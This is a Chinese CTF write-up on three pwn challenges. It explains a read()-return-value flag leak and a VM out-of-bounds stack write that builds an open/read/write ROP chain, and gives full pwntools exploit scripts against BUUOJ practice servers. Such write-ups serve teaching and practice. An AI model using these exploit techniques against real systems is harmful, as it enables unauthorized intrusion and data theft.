White_Give_Flag

init 函数打开了 /flag ,用 for 循环不断申请堆,将 flag 写入到 fd_nextsize ,然后释放。循环次数和每次申请的 size 都是随机值。

image-20210321103629041

由于写入到 fd_nextsize 堆块释放时,写入的 flag 没有被覆盖掉,只是在哪个 size 的堆不确定,也就是后面要爆破了。

image-20210321104030989

程序菜单选择与传统题目不同的是,这个选择是用 read 函数的返回值,而不是用 atoi(buf)

image-20210321105254124

image-20210321105514309

这就让 puts 输出提示符时存在问题,read 返回值可以为 -1 ,而 menu_hin[-1] 对应是 chunk_list 中第四个堆指针地址:

image-20210321105427349

申请 3 个堆填充,然后将存有 flag 的堆申请到第四个。第四个堆大小需要爆破的,在 bin 中看哪个 size 称心就选它。

再次选择菜单时,给传入一个 EOF 信号,让 read 返回值为 -1 。发送 EOF 方法参考的文章:

https://paper.seebug.org/444/

在 shell 中可以使用 ctrl+d 表示 EOF ,pwntools 可以用下面的命令发送 EOF :

1
2
s = remote(xxxx,xx)
s.sock.shutdown(socket.SHUT_RW)

但是这样我们没法继续输入了,所以我们需要发送一次 payload 就 getflag ,我们只能 getflag 而不能 getshell ,因为服务器已经关闭了接收我们数据的连接。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
def menu(choice):
p.recvuntil('choice:')
p.send('1'*choice)

def add(size):
menu(1)
p.recvuntil('size:\n')
p.sendline(str(size))

def edit(index,data):
menu(4)
p.recvuntil('index:\n')
p.sendline(str(index))
p.recvuntil('Content:\n')
p.send(data)

while True:
#p = process("./White_Give_Flag")
p = remote("node4.buuoj.cn",39123)
#gdb.attach(p,'b *$rebase(0x01242)')
add(0x10)
add(0x10)
add(0x10)
add(0x310)
edit(3,'x'*0x10)
p.recvuntil('choice:')
p.shutdown_raw('send')
flag = p.recvline()
log.info(flag)
if 'flag' in flag:
exit(0)
p.close()
sleep(1)

hh

VM 题目,粗略逆向一下指令发现问题,选项 12 由于下标越界能造成栈溢出:

image-20210321111950058

v31 使用 buf[v9] 读取可以被我们控制为任意值。

接下载就是逆向执行,没有全部逆向出来,贴一下官方 wp 图:

image-20210321112703863

主要是 678 这几个指令没能理解到位。整体分析下来,vm 用 32 位的方式运作

  • buf 我们输入的内容存储的地方,相当于 text 段
  • V15 相当于 eip 指针
  • v32 相当于内存段(栈),处理的局部变量在 v32[1000] 附近
  • v16 相当于 esp 指针

大局思路:程序开了沙盒,存在栈溢出,虽然开了 canary ,但是由于vm 修改栈上数据是根据偏移来写,也就是可以跳过 canary 写入后面栈空间,相当于没有开这个保护。构造 orw 读取出 flag。在程序找到了 pop_rdi_ret ,libc 中找到 pop_rdx_rsi_ret

步骤详解

写入 ”flag” 到栈上,等下写入地址作为参数传给 orw 。

1
2
3
4
# step 0 
payload = ''
payload += p32(9)+p32(0x67616c66) #push "flag"
payload += p32(12)+p32(0xd9) #store "flag" on 0xd8

接下来在 rip 开始写入 orw ROP 利用链。v32[0x3ef+1000] 就是 rip 的低 8 bit 。先用 9 将 pop_rdi_ret 低 8 bit 压入 v32[1000] ,再用 12 将 v32[1000] 的值存放到 eip :

1
2
3
4
5
# step 1:write pop_rdi_ret into rip
payload += p32(9)+p32(pop_rdi_ret) #push pop_rdi_ret
payload += p32(12)+p32(0x3ef) #store pop_rdi low 8bit
payload += p32(9)+p32(0) #push pop_rdi_ret high 8bit(0)
payload += p32(12)+p32(0x3f0) #store pop_rdi_ret high 8bit(0)

然后就是准备 open 最麻烦的 rdi 参数,也就是 “flag” 的栈地址。先读取 ebp 的值(rbp低8bit) ,通过调试看刚刚 “flag“ 存入偏移 0xd8 对应真实地址和 ebp 的距离,通过 1 或 2 加减偏移得出 ”flag“ 栈地址,然后 12 存入对应位置。由于高 8 bit 都一样,所以直接将 rbp 高 8 bit 复制过去。

1
2
3
4
5
6
7
# step 2:load stack_addr;redirect to "flag";write "flag"_addr on stack
payload += p32(10)+p32(0x3ed) #load stack_addr(ebp) low 8bit
payload += p32(9)+p32(0xc70)
payload += p32(2) #redirect to right addr
payload += p32(12)+p32(0x3f1)
payload += p32(10)+p32(0x3ee) #load stack_addr(ebp) high 8bit
payload += p32(12)+p32(0x3f2) #flag_addr

pop_rdx_rsi_ret 在 libc 中,参看上面找栈地址方式找到 libc 地址,然后修正偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
# step 3
payload += p32(10)+p32(0x3f7) #load libc_addr low 8bit
# payload += p32(9)+p32(0x10e972) #p#0x130569-0x21bf7
payload += p32(9)+p32(0xf4949)
payload += p32(1) #redirect to right addr
payload += p32(12)+p32(0x3f3) #store pop_rdx_rsi blow 8bit
payload += p32(10)+p32(0x3f8) #load libc_addr high 8bit
payload += p32(12)+p32(0x3f4) #store pop_rdx_rsi high 8bit
payload += p32(9)+p32(0) #push 0
payload += p32(12)+p32(0x3f5) #rdx low 8bit
payload += p32(12)+p32(0x3f6) #rdx high 8bit
payload += p32(12)+p32(0x3f7) #rsi low 8bit
payload += p32(12)+p32(0x3f8) #rsi high 8bit

后面步骤和前面基本一样:传数据就 9 和 12;写 gadget 、函数就先 load、修改偏移、12 存入栈。只是注意加载 libc 低 8 bit 从 main_start 变成 pop_rdx_rsi_ret ,注意一下偏移计算就好。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
context.log_level = 'debug'
context.binary = "./hh"

pop_rdi_ret = 0x00000000004011a3

# step 0
payload = ''
payload += p32(9)+p32(0x67616c66) #push "flag"
payload += p32(12)+p32(0xd9) #store "flag" on 0xd8

# step 1:write pop_rdi_ret into rip
payload += p32(9)+p32(pop_rdi_ret) #push pop_rdi_ret
payload += p32(12)+p32(0x3ef) #store pop_rdi low 8bit
payload += p32(9)+p32(0) #push pop_rdi_ret high 8bit(0)
payload += p32(12)+p32(0x3f0) #store pop_rdi_ret high 8bit(0)

# step 2:load stack_addr;redirect to "flag";write "flag"_addr on stack
payload += p32(10)+p32(0x3ed) #load stack_addr(ebp) low 8bit
payload += p32(9)+p32(0xc70)
payload += p32(2) #redirect to right addr
payload += p32(12)+p32(0x3f1)
payload += p32(10)+p32(0x3ee) #load stack_addr(ebp) high 8bit
payload += p32(12)+p32(0x3f2) #flag_addr

# step 3
payload += p32(10)+p32(0x3f7) #load libc_addr low 8bit
# payload += p32(9)+p32(0x10e972) #p#0x130569-0x21bf7
payload += p32(9)+p32(0xf4949)
payload += p32(1) #redirect to right addr
payload += p32(12)+p32(0x3f3) #store pop_rdx_rsi blow 8bit
payload += p32(10)+p32(0x3f8) #load libc_addr high 8bit
payload += p32(12)+p32(0x3f4) #store pop_rdx_rsi high 8bit
payload += p32(9)+p32(0) #push 0
payload += p32(12)+p32(0x3f5) #rdx low 8bit
payload += p32(12)+p32(0x3f6) #rdx high 8bit
payload += p32(12)+p32(0x3f7) #rsi low 8bit
payload += p32(12)+p32(0x3f8) #rsi high 8bit

# step 4
payload += p32(10)+p32(0x3f3)
# payload += p32(9)+p32(0x20859) #0x130569-0x10fd10
payload += p32(9)+p32(0x1e099)
payload += p32(2)
payload += p32(12)+p32(0x3f9)
payload += p32(10)+p32(0x3f4)
payload += p32(12)+p32(0x3fa) #open

# step 5
payload += p32(9)+p32(pop_rdi_ret) #push pop_rdi_ret
payload += p32(12)+p32(0x3fb) #store pop_rdi low 8bit
payload += p32(9)+p32(0) #push pop_rdi_ret high 8bit(0)
payload += p32(12)+p32(0x3fc) #store pop_rdi_ret high 8bit(0)
payload += p32(9)+p32(3) #push 3 low 8bit(rdi)
payload += p32(12)+p32(0x3fd) #store 3 low 8bit(rdi)
payload += p32(9)+p32(0) #push 3 high 8bit(rdi)
payload += p32(12)+p32(0x3fe) #store 3 high 8bit(rdi)

# step 6
payload += p32(10)+p32(0x3f3) #load pop_rdx_rsi_libcaddr(step3) low 8bit
payload += p32(12)+p32(0x3ff) #store pop_rdx_rsi blow 8bit
payload += p32(10)+p32(0x3f4) #load pop_rdx_rsi_libcaddr(step3) high 8bit
payload += p32(12)+p32(0x400) #store pop_rdx_rsi high 8bit
payload += p32(9)+p32(0x30) #push 0x30 low 8bit(rdx)
payload += p32(12)+p32(0x401)
payload += p32(9)+p32(0) #push 0x30 high 8bit(rdx)
payload += p32(12)+p32(0x402)
payload += p32(10)+p32(0x3ed) #load stack_addr(ebp) low 8bit
payload += p32(9)+p32(0xb70)
payload += p32(2) #redirect to right addr
payload += p32(12)+p32(0x403) #store "flag" low 8bit(rsi)
payload += p32(10)+p32(0x3ee) #load stack_addr(ebp) high 8bit
payload += p32(12)+p32(0x404) #store "flag" high 8bit(rsi)

# step 7
payload += p32(10)+p32(0x3f3) #load pop_rdx_rsi_libcaddr(step3) low 8bit
# payload += p32(9)+p32(0x20429) #0x130569-0x110140
payload += p32(9)+p32(0x1de79)
payload += p32(2) #redirect to right addr
payload += p32(12)+p32(0x405)
payload += p32(10)+p32(0x3f4) #load pop_rdx_rsi_libcaddr(step3) high 8bit
payload += p32(12)+p32(0x406) #read

# step 8
payload += p32(9)+p32(pop_rdi_ret) #push pop_rdi_ret
payload += p32(12)+p32(0x407) #store pop_rdi low 8bit
payload += p32(9)+p32(0) #push pop_rdi_ret high 8bit(0)
payload += p32(12)+p32(0x408) #store pop_rdi_ret high 8bit(0)
payload += p32(9)+p32(1) #push 1 high 8bit
payload += p32(12)+p32(0x409)
payload += p32(9)+p32(0) #push 1 low 8bit
payload += p32(12)+p32(0x40a)

# step 9
payload += p32(10)+p32(0x3f3) #load pop_rdx_rsi_libcaddr(step3) low 8bit
payload += p32(12)+p32(0x40b) #store pop_rdx_rsi blow 8bit
payload += p32(10)+p32(0x3f4)
payload += p32(12)+p32(0x40c) #store pop_rdx_rsi high 8bit
payload += p32(9)+p32(0x30) #push 0x30 low 8bit(rdx)
payload += p32(12)+p32(0x40d)
payload += p32(9)+p32(0) #push 0x30 high 8bit(rdx)
payload += p32(12)+p32(0x40e)
payload += p32(10)+p32(0x3ed) #load stack_addr(ebp) low 8bit
payload += p32(9)+p32(0xb70)
payload += p32(2) #redirect to right addr
payload += p32(12)+p32(0x40f) #store "flag" low 8bit(rsi)
payload += p32(10)+p32(0x3ee)
payload += p32(12)+p32(0x410) #store "flag" high 8bit(rsi)

# step 10
payload += p32(10)+p32(0x3f3) #load pop_rdx_rsi_libcaddr(step3) low 8bit
# payload += p32(9)+p32(0x20359) #0x130569-0x110210
payload += p32(9)+p32(0x1de19)
payload += p32(2) #redirect to right addr
payload += p32(12)+p32(0x411)
payload += p32(10)+p32(0x3f4)
payload += p32(12)+p32(0x412) #write


# p = process("./hh")
p = remote("node3.buuoj.cn",25189)
p.recvuntil("Give me you choice :\n")
p.sendline("1")
p.recvuntil("code:")

#gdb.attach(p,"b *0x400B46")
p.send(payload)

p.recvuntil("Give me you choice :\n")
p.sendline("2")

p.interactive()

ff

官方 WP

https://mp.weixin.qq.com/s/1OzuKnQK2wNxhHYObN3UYA